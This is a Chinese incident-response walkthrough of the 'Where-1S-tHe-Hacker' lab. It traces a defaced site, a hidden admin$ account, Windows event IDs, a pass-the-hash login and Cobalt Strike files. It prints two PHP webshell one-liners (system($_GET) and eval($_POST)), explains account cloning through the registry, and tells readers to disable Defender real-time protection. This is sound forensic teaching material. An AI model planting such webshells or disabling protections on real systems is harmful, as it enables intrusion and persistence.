本文主要是介绍玄机——第九章-Where-1S-tHe-Hacker wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 一、前言
- 二、概览
- 三、参考文章
- 四、步骤(解析)
- 准备步骤#1.0
- 步骤#1
- 通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;
- 步骤#2
- 通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33);
- 步骤#3
- 通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名 作为FLAG 提交;
- 步骤#4
- 通过本地 PC RDP到服务器并且找到黑客第二个webshell文件名是,将第二个webshell文件名 作为FLAG 提交;
- 步骤#5
- 通过本地 PC RDP到服务器并且找到黑客第二个webshell的连接密码是,将第二个webshell的连接密码 作为FLAG 提交;
- 步骤#6
- 通过本地 PC RDP到服务器并且找到黑客新建的隐藏账户,将新建的隐藏账户名字 作为FLAG 提交;
- 步骤#7
- 通过本地 PC RDP到服务器并且找到黑客隐藏账户创建时间是,将隐藏账户创建时间是 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
- 步骤#8
- 通过本地 PC RDP到服务器并且找到黑客添加隐藏账户进管理员组的时间,将添加隐藏账户进管理员组的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
- 步骤#9
- 通过本地 PC RDP到服务器并且找到黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
- 步骤#10
- 通过本地 PC RDP到服务器并且找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是,将(PTH)哈希传递攻击登录的时间 作为FLAG 提交;
- 步骤#11
- 通过本地 PC RDP到服务器并且找到黑客上传的两个CobaltStrike木马文件名,将上传的两个CobaltStrike木马文件名 作为FLAG 提交(答案格式:"A.exe,B.exe");
一、前言
题目链接:第九章-Where-1S-tHe-Hacker
点赞关注+收藏!!!三连免费送玄机注册邀请码!!!(表格中邀请码没了请私信我!!!)
【腾讯文档】玄机邀请码免费获取
https://docs.qq.com/sheet/DWUt1WU9vZmpxWFd4?tab=BB08J2
题目场景描述;
韩一是划水通信公司的一名安服,某天在日常巡检的过程中发现客户网站被入侵并挂了黑页,他意识到自己需要应急哥的帮助,于是他毫不犹豫地给你打电话。
请你找出攻击痕迹并还原攻击链。服务器已经处于网络隔离状态,排查出并清理攻击者留存的恶意文件,将web服务恢复正常,保证服务器不存在安全问题,在做应急处置、溯源的过程中请给发现存在的脆弱点加固建议。
在此之前我也是做完了“Where-1S-tHe-Hacker-part2”,但是做完发现也还不过瘾,不过也是还好有个续集来做,那我们写完这篇关于“Where-1S-tHe-Hacker”的,我们这个系列也是成功完结!(虽然只有两个靶机,但是在其中所学到的内容也是让我受益匪浅,那在此也是要非常感谢“划水但不摆烂”师傅提供的优质环境!)
那我们在这里也是要同样感谢“划水但不摆烂”师傅的工具包!题中涉及到的工具已打包就位!
https://www.123pan.com/s/q2J1jv-D0Bvd.html
提取码:0905
二、概览
简介
服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号 划水但不摆烂
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw
三、参考文章
【实景挑战 | 题解】应急靶机01: Where-1S-tHe-Hacker详细题解
Where-1S-tHe-Hacker靶机实操
四、步骤(解析)
准备步骤#1.0
服务器场景操作系统 Windows,这里还是老规矩,使用任意“ssh”对靶机进行连接即可,前提条件是靶机必须是开启状态哈,那我这里推荐大家使用笔记本电脑自带的“Microsoft”远程桌面连接即可;(可能会有一些笔记本电脑是不自带的,不过这里已为各位师傅准备好安装包,正常解压双击安装即可)
123网盘下载;
https://www.123pan.com/s/q2J1jv-r8avd.html
提取码:0905
安装完成,进入主页,点击右上角“添加”–>“电脑”,接着启动靶机,输入靶机IP,点击“保存”,返回主页,点击连接,最后输入账号密码即可;
输入靶机IP,点击保存,返回主页点击连接即可;
接着输入靶机的账号密码,点击连接即可;(可能刚进去有点卡,等一会就好了)
admin
Aa123456
也是成功连接;
步骤#1
通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;
解题思路
题目让我们通过本地PC(电脑)RDP到服务器并且找到黑客的ID是什么,那我们从桌面上也是可以看见“phpstudy_pro”的,根据我们做那么多应急的经验,多半是在网站的根目录下有关键信息,那我们打开“phpstudy_pro”,找到网站跟目录进行分析;
选择“打开根目录”;
得到;
我们先简单的查看一下网站的主页,也就是“index.php”文件,那这里可能就有的师傅有疑问了,为什么找黑客的ID需要去“index.php”中查找?
简单来说;
要找到黑客的ID并确认攻击活动,检查网站的主页文件(如index.php
)可以揭示以下几个关键点:
-
后门代码: 黑客可能在
index.php
文件中植入了后门代码或Web Shell,允许他们远程执行命令或控制服务器。通过查看index.php
文件中的可疑代码(如eval($_POST['cmd'])
或其他类似的恶意代码),我们可以识别攻击者可能植入的后门,并追踪相关的攻击活动。 -
攻击痕迹:
index.php
文件是常被修改的目标,因为它是访问量最大、最容易被利用的文件。如果黑客修改了这个文件,他们可能会留下可疑的代码或注释。通过查看文件的修改时间、代码变动,以及日志记录,可以找到相关的攻击痕迹。 -
日志记录: 有时候,黑客可能会记录他们的操作,或者某些系统或应用插件会自动记录对
index.php
的访问日志。这些日志可能包含攻击者的IP地址、访问时间、执行的操作等信息,从而帮助我们定位攻击者的身份(黑客ID)。
因此,通过检查index.php
文件,我们可以发现黑客的活动痕迹,进一步确认他们的身份。
那这里也果然不出所料,我们确实在“index.php”文件中发现了关键!
得到;
简单分析一下;
首先很明显的就是这个HTML代码片段显示了一个网页,是由黑客篡改过的。
详细分析;
-
网页标题和内容:
<title>hacked</title>
:页面的标题被改为“hacked”,这通常是黑客用来标识他们成功入侵的一个标志。<h2>
标签中包含了一段文字:hacker by:X123567X
,其中X123567X
就是黑客的ID。这个信息表明入侵者在此页面上留下了他们的“签名”,以表明这是他们的工作。
-
页面样式:
-
页面背景颜色被设置为黑色(
<body bgcolor="#000000">
),而文本颜色也是黑色(color: black; background-color: black;
),这会使文字内容不可见,除非用户手动选择文本。 -
<FONT face="Monotype Corsiva" size="6" color="#ffffff">
:这部分设置了文本的字体、大小和颜色,文本“hacker by”是以白色(`color=“#ffffff”)显示在页面中央的。
-
-
布局和结构:
<center>
标签多次使用,表明所有内容都居中显示。div
元素被用来包裹文本和图像,设置了边框和溢出样式(overflow: auto;
),虽然颜色设置可能导致某些文本或内容不可见。
-
图像占位符:
<img src="" align="middle" border="0">
:这是一个空的图像标签。虽然图像源为空,但这个占位符暗示原本可能计划放置某种标识或图像。
总的来说;
这段代码就是黑客成功入侵后,篡改网页的一个常见手法。页面内容展示了“hacked”信息,黑客ID为“X123567X”,而页面的视觉效果显然经过了精心设计,以达到一种黑客风格的展示效果。这种行为表明黑客已经获得了对网站的控制权,并利用这个页面向网站的所有访客展示他们的“成果”。
那题目中问我们黑客的ID是什么,那这答案已经很显而易见了!
至此;
flag{X123567X}
步骤#2
通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33);
解题思路
题目让我们找出黑客修改网站主页的时间,那根据题一我们已经知黑客修改了“index.php”文件就是网站的主页,所以只需选中"index.php"——>"右键选择属性"就可以看见文件的创建时间以及最近修改时间啦!
得到;
可以从文件属性中看见具体的“创建时间”、“修改时间”、“访问时间“等等,那题目中问”黑客在什么时间修改了网站主页“,那我们可以尝试提交一下,最近的修改时间,最后也是发现正确!
修改时间:2023年11月6日,4:55:13,按照提交格式:(y-m-d-4:22:33);
至此;
flag{2023-11-6-4:55:13}
拓展
这里给大家分享一个有意思的地方,就是如果你提交“flag”是自己输入的话,不管这么提交都是不对的,只有复制题中的提交格式!也就是:(y-m-d-4:22:33),接着在基础上进行修改才能提交成功,后来我发现这现象蛮好玩的,就分享到“BaseCTF”的群中跟师傅们一起讨论,得出结果就是,里面可能藏了不可见“字符”,可能说的有点糊里糊涂的,这里直接上010分析(前两个都是自己输入的时间,最后一个才是复制格式中时间进行修改!)
得到;
步骤#3
通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名 作为FLAG 提交;
解题思路
题目让我们找黑客第一个“webshell”那这个我们可太熟悉不过了,之前的文章也有具体说过遇到这种查杀“webshell”我们应该怎么做,想了解具体更详细一些的师傅们可以查看这篇文章——应急响应-webshell,那这里靶机是“windows”的,我就直接丢进“D盾”中进行扫描,那这里我们已经知道了网站的根目录也就是“C:\phpstudy_pro\WWW”,那我们直接对这个“WWW”进行扫描即可!
首先把“D盾”从本机移到靶机中,这里直接复制粘贴即可;
接着直接把网站根目录“C:\phpstudy_pro\WWW”丢进去查杀!
得到;
跟进目录进行分析;
得到;
<?php @system($_GET["cmd"]);;?>
简单分析一下,这是这段PHP代码是一种常见的远程命令执行(Remote Command Execution, RCE)后门,它的作用是允许黑客通过HTTP请求在服务器上执行任意系统命令,所以很明显这是恶意的PHP后门,用于远程执行系统命令;
题目让我们提交“第一个webshell文件名”!
至此;
flag{SystemConfig.php}
步骤#4
通过本地 PC RDP到服务器并且找到黑客第二个webshell文件名是,将第二个webshell文件名 作为FLAG 提交;
解题思路
题目让我们提交第二个“webshell”,这时候我在想是不是之前扫的时候漏了什么,为什么还有第二呢?刚刚扫的时候”D盾“就显示了一个”webshell“啊?然后我就去研究了下,发现第二个”webshell“已经被靶机自带的”window安全中心“杀掉了!具体的如下!
可以看见我是没有动过里面任何文件的,但就是与原本的靶机少了一个文件!
现在的靶机;
原题靶机!
从这里是可以看见确实有一个文件在这里的,后来我尝试重启一下靶机(因为之前也是有靶机文件丢失的情况,重启一下就好了),果然没错,重启靶机的时候也是发现了这个文件!
关闭靶机,重新开一个靶机,直接跟进到“C:\phpstudy_pro\WWW\files”目录下确实发现了!
接着我尝试打开分析,但是突然报“病毒”出来,接着点击“确认”然后就会发现文件“syscon.php”已经被“window安全中心”杀掉了!
所以我们在重启靶机的一瞬间,就应该去“window安全中心”把其中的“实时保护”给关闭掉!
按照步骤一步一步关闭“window安全中心”的实时保护即可!
注意!!!!不需要点“启用”,直接点击“病毒和威胁防护”即可!
往下翻一下就能看见!
点击“关”即可!
最后点击“确认”即可!
成功!
这时候在打开刚刚我们打不开的文件“syscon.php”,就会发现,确实可以打开了!
得到;
那这时候我们使用“D盾”扫描一下“WWW”目录还会不会显示出来呢?答案是:会的!(我就说“D盾”什么时候有漏扫过嘛,原来是原文件是被删除了!)
得到;
题目让我们提交“黑客第二个webshell文件名”,所以我们直接选中这两个后门文件查看其属性!里面有具体的创建已经修改时间!
根据前后创建的时间,我们不难看出谁才是第二创建的“webshell”!,那这里简单分析一下;
<?php eval($_POST["pass"]);
这段代码是一句话木马(Webshell)的一种常见形式,具体来说这段代码的作用是接收来自POST请求的参数pass
,然后将这个参数值当作PHP代码执行。这意味着攻击者可以通过向服务器发送特定的POST请求来执行任意PHP代码。
至此;
flag{syscon.php}
步骤#5
通过本地 PC RDP到服务器并且找到黑客第二个webshell的连接密码是,将第二个webshell的连接密码 作为FLAG 提交;
解题思路
题目让我们找到第二个“webshell”,也就我上题找出的“syscon.php”文件,那这里了解过一些的“一句话”木马的这里就没什么好说的;
得到;
至此;
flag{pass}
拓展
其实严格来说“pass”并不叫做“密码”,简单来说一下为什么;
pass
并不是一个密码,而是一个变量名。
$_POST["pass"]
的作用:
$_POST
是一个超级全局数组,用于接收通过HTTP POST方法传递的表单数据。"pass"
是这个数组的一个键名。$_POST["pass"]
表示从客户端的POST请求中获取名为pass
的表单数据。
- 为什么不是密码:
-
在代码中,
"pass"
这个键名是任意选择的。开发者或攻击者可以选择任何名字,例如cmd
,input
,data
等。它不具备密码的功能或含义,只是用来存储传入的代码。 -
代码真正做的事情是:接收客户端通过POST方法发送的
pass
参数值,并使用eval()
函数将其作为PHP代码执行。
- 实际用途:
- 攻击者利用这种代码结构,发送任意代码作为
pass
参数的值。服务器接收并执行这个值,不需要经过验证。
- 误解的来源:
- 由于
pass
这个单词通常与“password”(密码)相关联,可能导致混淆。但在这种场景下,它只是一个变量名,没有特殊含义。
总结:
pass
只是一个用来接收用户输入的变量名,它并不是密码。实际作用是通过POST请求传递任意PHP代码到服务器上执行。
如果非要说是密码也不是不行,毕竟师傅都喜欢这样叫,也并没有什么特殊或者特别的意义,这里也只是单纯科普一下哈!(仅供参考)
步骤#6
通过本地 PC RDP到服务器并且找到黑客新建的隐藏账户,将新建的隐藏账户名字 作为FLAG 提交;
解题思路
题目让我们找出黑客新建的隐藏用户,那这里我们也是可以使用“D盾”的“克隆账号检测”功能查出可疑用户,但是这里发现没有权限读取,不过这也没关系,因为这个和我们打开方式有关,那这里我们可以直接选中右键“以管理员方式运行”即可;
“权限不足”
选中“D盾”右键“以管理员方式运行”即可;
接着在打开“克隆检测”即可;
得到;
这里检测一下就好了,所以也是很快检测出;
当然这里方法不唯一,我们也还可以使用另外一种办法,就是直接去查看“注册表”,具体的“注册表”路径为:HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User;
这里引用“划水但不摆烂”师傅的原话就是:也有其他方法去排查隐藏用户的存在,但是最准确的还是从注册表下手,常规影子用户的创建与使用在绝大多数情况下会依靠注册表的操作,同时会留下对应的痕迹,是重点排查的地方之一。
所以这里我们直接在搜索框查找“注册表”即可;
跟进路径分析:HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
得到;
但是这里也是出现了问题,可能是限制的原因,“玄机”平台的靶机上是没有显示出来的,但是原靶机上是可以看见的,不过也没关系嘛,至少下次碰到这样的我们就知道这个路径了;
总的来说:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
是 Windows 注册表中的一个路径,用于存储有关用户账户的信息。这个路径位于安全帐户管理器 (SAM) 的一部分,SAM 是一个数据库,用于存储本地用户帐户的安全信息。
“原靶机”
当然这里方法肯定不是唯一,也是给大家进行一个参考,其实这里也可以从“事件查看器”中分析出得到隐藏用户“admin$”的,因为“Where-1S-tHe-Hacker-part2”有演示过,那这里我就不在进行演示啦,师傅们如果感兴趣的也可以去尝试一下分析“window”日志得出隐藏用户;(当然使用“D盾”来进行扫描也就涂个省时省力嘛)*
至此;
flag{admin$}
拓展
简单来说就是:有时候黑客可能不会直接额外新增隐藏用户,而是直接启用来宾账户Guest,并修改Guest用户注册表对应的F值(权限分配)与本地管理Administrator的权限相同,这时候也相当于克隆了Administrator,所以说需要根据情况进行选择更为详细的排查方式。
- Guest账户的默认设置:
- 默认情况下,Guest账户是禁用的,且权限较低。它主要用于临时访问,不需要密码,权限也受到严格限制。
- 启用Guest账户:黑客可以通过命令行或其他方法启用Guest账户,使其具备登录权限。
- 修改注册表中的F值(权限分配):
- F值是Windows注册表中与用户权限相关的一个关键字段。
- 修改F值可以改变账户的权限。通过将Guest账户的F值修改为与Administrator账户相同,黑客可以赋予Guest账户管理员权限。
- 效果:
- 克隆Administrator权限:修改后的Guest账户在权限上相当于一个Administrator账户。这意味着黑客可以通过Guest账户执行任何管理员可以执行的操作,包括安装软件、修改系统设置、访问敏感数据等。
- 隐蔽性:由于Guest账户本来就是系统自带的,并且管理员可能不会注意到它的启用和权限提升,因此这种攻击方式非常隐蔽。
- 防御与检测:
- 定期检查账户状态:管理员应定期检查系统中的所有用户账户,包括Guest账户,确保没有被异常启用或修改。
- 监控注册表和权限变更:可以使用安全工具监控关键注册表项的变更,以及账户权限的变更。如果检测到Guest账户的权限发生异常提升,应立即进行详细排查。
- 日志审计:通过分析系统安全日志(如事件ID 4732等),可以检测到权限变更操作的执行者和时间,从而判断是否存在恶意行为。
步骤#7
通过本地 PC RDP到服务器并且找到黑客隐藏账户创建时间是,将隐藏账户创建时间是 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
解题思路
题目让我们找出黑客创建隐藏用户的时间是,那根据上题,我们已知的隐藏用户是“admin$”,所以这里我们直接使用命令;
net user admin$
得到;
接着;
题目问我们“黑客隐藏账户创建时间是”,所以我们可以尝试提交一下黑客设置密码的时间:2023/11/6 4:45:34
我们按照提交格式来:(答案格式:2024/12/3 9:16:23)
注意这里提交flag的时候也要注意“隐藏字符”,所以我们直接复制下来在基础上进行修改即可;
至此;
flag{2023/11/6 4:45:34}
拓展
当然这里的方法不唯一,我们也是同样可以查看“window”的日志,那我这里就不细说了,也是上一篇文章有说明,这里我就直接演示了!
总结一下常用的事件ID;
- 账户管理相关
- 4720: 用户账户被创建。
- 4722: 用户账户被启用。
- 4725: 用户账户被禁用。
- 4726: 用户账户被删除。
- 4732: 已将用户账户添加到安全组中。
- 4733: 用户账户被从安全组中移除。
- 登录和注销相关
- 4624: 成功的账户登录。
- 4625: 登录失败。
- 4634: 用户注销。
- 4647: 用户通过
Ctrl+Alt+Del
注销。 - 4672: 分配给新登录会话的特殊权限。
- 权限提升和组管理相关
- 4670: 对一个对象(如文件、注册表项)的权限被修改。
- 4674: 针对受保护的对象执行特权操作的尝试。
- 4728: 已将用户添加到全局组中。
- 4735: 本地组的安全属性被修改。
- 策略和审计设置
- 4719: 系统审计策略更改。
- 4902: 系统审计策略的更改尝试。
- 4907: 针对某个对象的审核策略被修改。
- 系统相关
- 6005: 事件日志服务启动(也被称为系统启动)。
- 6006: 事件日志服务停止(也被称为系统关闭)。
- 6008: 非正常的系统关闭(如系统崩溃、强制关机)。
- 网络相关
- 5156: Windows 防火墙允许连接。
- 5157: Windows 防火墙阻止连接。
- 4663: 对对象(如文件)的访问尝试。
- 计划任务相关
- 4698: 已创建计划任务。
- 4699: 已删除计划任务。
- 4700: 已启用计划任务。
- 4701: 已禁用计划任务。
那这里既然说了黑客创建用户,那肯定就是事件ID“4720”了吧,所以这里我们直接在“win”的搜索框中,直接搜索“事件查看器”
得到;
这里我们直接找到"安全日志"进行筛选!
也就只有三条记录,随便翻也是看见了隐藏用户创建的具体时间包括隐藏用户自己!
创建时间:2023/11/6 4:45:34
当然很多时候确实查看”事件查看器“也就是日志能简单很多,但绝大多数的时候,能看明白那才是最好的!
这里也给大家分享一下,这是“划水但不摆烂”师傅总结的常见事件ID;(虽然没有我总结的完整,但还是很详细的)
4624 登录成功
4625 登录失败,如果有人尝试破解系统密码,可以看到大量连续登录失败信息
4726 删除用户
4722 账号启用
4725 账号禁用
4723 修改密码
4724 重置密码
4634 注销成功
4647 用户启动的注销
4672 管理员登录
4720 创建用户,使用系统漏洞攻击成功后,往往会创建一个用户,方便远程登录
4732 加入安全组,常见于将新用户加入管理员组
4733 移除出安全组
4684 通过登陆界面登陆的
步骤#8
通过本地 PC RDP到服务器并且找到黑客添加隐藏账户进管理员组的时间,将添加隐藏账户进管理员组的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
解题思路
题目让我们找出“黑客添加隐藏账户进管理员组的时间”,那这里当然也是直接分析日志来的更实在,我们也是直筛选事件ID“4732”,因为这是加入安全组,常见于将新用户加入管理员组 ;
也还是在“安全日志”,我们直接筛选事件ID“4732”即可!
得到;
得出也就7条记录,我们一个一个选中“双击”放大进行分析找到“admin$”隐藏用户的记录即可!
得到;
也是很快发现了题目让我们找的“黑客添加隐藏账户进管理员组的时间”——2023/11/6 4:46:07
注意!!也还是按照要求格式提交:(答案格式:2024/12/3 9:16:23)
至此;(为了避免不必要的麻烦,还是直接复制提交格式,在原基础上进行修改提交即可!)
flag{2023/11/6 4:46:07}
步骤#9
通过本地 PC RDP到服务器并且找到黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
解题思路
题目让我们找出“黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间”,那这里我们可以查看事件ID“5058”,那这到底是为什么呢?我们下面来简单分析一下;
简单来说:事件 ID 5058 是 “密钥文件操作”相关的事件,具体描述是:“密钥服务解密了一个密钥文件”。这意味着当密钥服务使用密钥文件时(例如加载或解密操作),会触发这个事件。
具体分析;
-
加密密钥使用: 5058 事件主要记录密钥文件的使用情况,例如当一个密钥被使用来解密某些数据时,会记录下这个操作。此类事件通常与数据保护相关,比如 Windows 中的 BitLocker、证书服务,或其他涉及密钥操作的服务。
-
追踪敏感密钥的使用: 如果黑客获取了某些敏感密钥文件并尝试使用它们进行操作,可能会触发事件 ID 5058。因此,这个事件 ID 可以用于追踪特定密钥的使用情况。
总的来说:事件 ID 5058 是一个与密钥操作密切相关的日志记录,它能够帮助我们追踪密钥的使用情况。
所以也还是在“安全日志”中,我们直接筛选日志事件ID“5058”!
得到;
筛选完成,这次的记录有那么一点多,足足有“400”多条,那这时候我们就简单给“时间”排个序,先看最早的记录,从上往下慢慢分析即可!
得到;
但是发现秘钥文件实在太多了,暂时也没办法确实到具体是哪一个,那这里我们可以换一种方法来进行筛选具体的时间,根据前面我们已经得出的具体时间,我们可以筛选一下日志的时间范围;
得到;
筛选出的日志也有“406”余条,不过这没关系,我们慢慢往底下翻。主要也还是查看事件ID,如有事件ID“5058”的,我们前后都要查看分析一下!
得到;
像这种的事件ID“5058“前后的记录我们都要分析一下,因为既然”黑客要读取保留的密钥“,读取完之后肯定会打开进行查看吧?所以我们就要分析一下是否”打开秘钥“进行查看!
双击记录进行分析!
接着查看下一条也就是事件ID“5061”!
确实也是打开了秘钥,但提交发现还是不对!(我星星你个星星!,然后接着往下翻,发现确实有很多类似的操作,那没办法了,这里也不限制提交次数,我们往下翻多尝试几次即可!)
得到;
很快也是发现了一个奇怪的记录,刚刚好也是符合我们需要的事件ID“5058”以及“打开秘钥”事件ID"5061",于是打开分析,接着尝试提交一下flag,最后也是成功提交!
得到;
“打开秘钥”事件ID“5061”;
最后的最后,题目要求我们找到“黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间”进行提交,所以现在可以确认是——2023/11/6 4:46:58
按照提交格式——(答案格式:2024/12/3 9:16:23)
至此;(注意隐藏“字符”)
flag{2023/11/6 4:46:58}
步骤#10
通过本地 PC RDP到服务器并且找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是,将(PTH)哈希传递攻击登录的时间 作为FLAG 提交;
解题思路
题目让我们"找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是",那这里我们得首先了解一下什么是“(PTH)哈希传递攻击登录”;
简单来说:是指黑客利用一种称为“哈希传递攻击”(Pass-the-Hash, PTH)的技术,使用隐藏账户绕过传统的身份验证机制,从而获取对系统的访问权限。
具体一点分析;
哈希传递攻击是一种网络攻击技术,黑客通过窃取和利用用户的身份验证哈希值,而不是密码本身,来访问系统资源。在 Windows 操作系统中,哈希值通常是 NTLM 哈希或 Kerberos 票据。这些哈希值在用户登录时生成并存储在内存中,黑客可以通过以下步骤进行攻击:
-
获取哈希值: 黑客首先通过各种手段(如钓鱼攻击、恶意软件、内存转储等)获取受害者账户的哈希值。
-
传递哈希值: 通过某种手段,攻击者将这个哈希值传递给目标系统,模拟合法用户登录,而无需知道实际密码。
-
访问系统资源: 一旦成功,攻击者就能以该用户的身份访问系统资源,包括敏感文件、数据库、或进一步提升权限。
隐藏账户的使用
隐藏账户通常是攻击者在侵入系统后创建的具有高权限但不易被发现的账户。通过这种账户,黑客可以:
-
持续访问: 隐藏账户可以帮助攻击者在系统中保持持久的访问权限,不被系统管理员察觉。
-
执行 PTH 攻击: 使用隐藏账户,攻击者可以执行 PTH 攻击,通过传递合法用户的哈希值来访问其他系统资源。
登录过程
在这种情况下,黑客使用隐藏账户登录系统,传递合法用户的哈希值,而不是输入密码。因为系统会接受这个哈希值进行验证,黑客就能以合法用户的身份登录并进行恶意操作。
总的来说:这种攻击方法利用了操作系统对身份验证哈希的处理机制,结合隐藏账户来进行隐蔽的系统访问和控制。它不需要知道用户的明文密码,因此特别难以检测和防御
那这种情况下我们也要找到进程“NtLmSsp”,那话又说回来了,什么是“NtLmSsp”呢?
简单来说“NtLmSsp” 是 “NT LAN Manager Security Support Provider” 的缩写,它是 Windows 操作系统中的一个进程组件,用于处理 NTLM 协议的身份验证。NTLM 是一种较老的身份验证协议,主要用于早期 Windows 版本以及在现代系统中作为后备身份验证机制。它通常在以下场景中使用:
-
Windows 登录: NTLM 可以用于本地或远程登录到 Windows 系统。
-
网络身份验证: 在访问共享资源(如文件共享、远程桌面等)时,NTLM 可以用来验证用户身份。
-
应用程序认证: 某些旧版或兼容性应用程序可能仍然依赖 NTLM 进行身份验证。
那我们又为什么要查找”NtLmSsp“登录进程呢?
根据题目要求,尤其是当怀疑有哈希传递攻击发生时,查找与“NtLmSsp”相关的登录进程信息可以帮助分析 NTLM 协议的使用情况。以下是查找它的原因:
-
检测异常登录活动: 通过分析与“NtLmSsp”相关的事件,可以检测到系统中使用 NTLM 协议的登录活动,判断是否有不正常的登录行为,如通过哈希传递的方式登录。
-
识别攻击路径: 在 PTH 攻击中,黑客会通过传递窃取的哈希值来登录系统,而不需要用户的明文密码。这种登录通常会通过 NTLM 协议实现,进而触发“NtLmSsp”进程。
-
事件关联分析: 通过审查与“NtLmSsp”相关的事件,可以将其与其他安全事件(如系统登录、权限提升等)关联起来,帮助识别攻击链条。
那·说完“NtLmSsp”,我们再说说“NtLmSsp”与“PTH”它们又有什么关联呢?
简单来说就是,在 PTH 攻击中,黑客获取到用户的 NTLM 哈希后,可以通过特殊工具直接使用这个哈希进行身份验证,而不需要用户的明文密码。由于 Windows 系统中的 NTLM 协议会处理这些哈希并允许认证,因此 PTH 攻击往往会触发“NtLmSsp”相关的登录事件。
总结来说,查找“NtLmSsp”进程是为了检测和分析使用 NTLM 协议的登录活动,特别是在调查疑似哈希传递攻击等安全事件时,通过识别与此进程相关的活动可以帮助安全人员更好地理解黑客的行为并采取相应措施。
所以绕来绕去,我们又回到日志中,直接筛选一下事件ID“4624”并且主要查看一下登录进程是不是“NtLmSsp”即可,因为这个事件ID主要就是查看成功账号登录的情况;
得到;
发现事件ID虽然减少了一些,但也还是太多了,我们再进行一下时间筛选。前面我们也得出过时间,所以这里直接筛选即可;
得到;
相对于之前的500多条记录这里的就显得少一些,那我们就主要查找进程“NtLmSsp”即可!
最后一条一条排查过去也是在一条不怎么起眼的进程中发现了登录进程“NtLmSsp ”;
最后的最后也是按照题目要求“找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间”,我们尝试提交这个时间,最后发现正确——2023/11/6 4:47:28
至此;
flag{2023/11/6 4:47:28}
步骤#11
通过本地 PC RDP到服务器并且找到黑客上传的两个CobaltStrike木马文件名,将上传的两个CobaltStrike木马文件名 作为FLAG 提交(答案格式:“A.exe,B.exe”);
解题思路
题目让我们“找到黑客上传的两个CobaltStrike木马文件名”他们的文件名进行提交,这个题和之前的“part2”中有一道一样也是找出CobaltStrike木马文件,那这里我们还是先了解了解一下什么是“CobaltStrike木马”;
简单来说,Cobalt Strike 是一种专业的网络安全工具,广泛用于模拟高级持续性威胁 (APT) 的攻击。尽管它最初是为渗透测试人员和红队操作设计的,但由于其强大的功能和易于使用的界面,它也被黑客广泛使用,成为了网络攻击中的一种常见工具。
Cobalt Strike 木马的主要功能:
-
命令与控制 (C2): Cobalt Strike 通过其内置的 C2 基础设施允许黑客远程控制感染的系统。这使得攻击者能够执行命令、传输文件、以及管理多个受感染的主机。
-
Beacon: Beacon 是 Cobalt Strike 的主要负载 (payload),用于在被感染的系统上建立持久性和通信通道。Beacon 可以执行各种任务,如文件传输、命令执行、密钥记录、屏幕截图等。
-
横向移动: Cobalt Strike 提供了多种工具和功能,帮助黑客在网络内横向移动,利用被感染的机器进一步攻击其他系统。
-
权限提升: 它包含多种技术,用于在目标系统上提升权限,从而获得更高的访问级别。
-
持久性: Cobalt Strike 提供了多种方法,使黑客能够在系统重启或其他变化后保持访问,包括植入后门和修改系统配置。
那话又说回来了,既然上面刚刚说了“Cobalt Strike 其实是一种专业的网络安全工具”,那我们又说是“木马”呢?
因为 Cobalt Strike 是合法的安全测试工具,但当黑客使用它时,它的功能与传统木马(如远程控制、数据窃取、持久性植入等)类似。因此,当它被用于恶意目的时,往往被称为 “Cobalt Strike 木马”。
简而言之,Cobalt Strike 木马是一种由合法工具衍生而来的恶意软件,主要用于高级网络攻击,帮助黑客远程控制、窃取信息、并在受感染的网络中横向移动。
那这里我们可以使用一款强大而且还是离线全盘扫描的工具“D-Eyes”,工具的功能介绍不是很多,因为截至目前为止我也没有全部开发完整,所以这里就简单介绍一下;
简单来说就是,“D-Eyes fs”是一款扫描工具,旨在检测系统中的各种恶意软件和恶意文件。该工具可识别出潜在的风险,包括类似webshell的恶意文件(phpwebshell
)和恶意软件(Pystinger
),这款工具的主要功能是通过匹配某些与恶意软件或未经授权行为相关的规则或特征,来识别并标记文件。虽然“D-Eyes.exe”最初可能被介绍为一个通用的安全工具,但它的具体功能包括在文件系统中扫描已知的恶意软件、webshell和其他威胁。
我们从“划水但不摆烂”师傅的工具箱中找到这款工具的存放位置,把它复制粘贴到靶机中,工具存放位置“\划水应急工具\蓝队综合工具\d-eyes_1.1.0.zip”;
移动到桌面,接着直接解压即可,这里使用工具我们使用"powershell"去执行工具程序,得到的回显结果会比cmd更完整,或重定向输出到txt;
得到;
但是这里奇怪的是我并没有扫出来,我猜可能还是像之前那样,工作人员移动靶机的时候不小心把“window安全中心”打开了,然后“window安全中心”默认给删除了,我也尝试重启了好几次也还是没有发现病毒存放的位置,而且我在“window安全中心”的隔离区也并没有发现病毒被隔离出来,因此可以断定确实是被默认删除了而且找不到的那种!
